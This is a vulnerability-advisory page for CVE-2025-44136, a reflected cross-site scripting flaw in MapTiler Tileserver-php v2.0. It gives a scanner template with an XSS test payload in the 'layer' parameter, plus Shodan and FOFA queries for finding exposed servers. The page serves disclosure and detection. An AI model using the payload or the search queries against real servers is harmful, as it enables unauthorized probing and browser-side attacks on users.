CVE-2025-44136: MapTiler Tileserver-php v2.0 - Unauthenticated XSS

2025-11-07 MapTiler Tileserver-php PoC Public

Description

MapTiler Tileserver-php v2.0 contains a reflected XSS caused by unencoded reflection of the GET parameter \"layer\" in an error message, letting unauthenticated attackers execute arbitrary script on victim browsers.

Details

CVE
CVE-2025-44136 · CVE.org
Severity
中危
Affected
MapTiler Tileserver-php
Published
PoC
Public

PoC

id: CVE-2025-44136

info:
  name: MapTiler Tileserver-php v2.0 - Unauthenticated XSS
  author: 0x_Akoko
  severity: medium
  description: |
    MapTiler Tileserver-php v2.0 contains a reflected XSS caused by unencoded reflection of the GET parameter \"layer\" in an error message, letting unauthenticated attackers execute arbitrary script on victim browsers.
  impact: |
    Unauthenticated attackers can execute arbitrary JavaScript in victim browsers, leading to session hijacking or phishing.
  remediation: |
    Update to the latest version of MapTiler Tileserver-php.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-44136
    - https://github.com/mheranco/CVE-2025-44136
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-44136
    epss-score: 0.02713
    epss-percentile: 0.86238
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"TileServer-php"
    fofa-query: title="TileServer-php"
  tags: cve,cve2025,xss,maptiler,tileserver,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/tileserver.php/wmts/x/1/1/asd?Request=x&layer=%3Csvg+alert(document.domain)%3E"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<svg alert(document.domain)>","Unknown or not specified dataset")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 404'
        condition: and
# digest: 4b0a004830460221008e2472c4de1b1394b33735bd680e2b359d314812a8c182731caeeb5d43b76201022100b8448f462ffbc355efd1ee204f80470a2f9e161818d12d419a771341022bc177:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life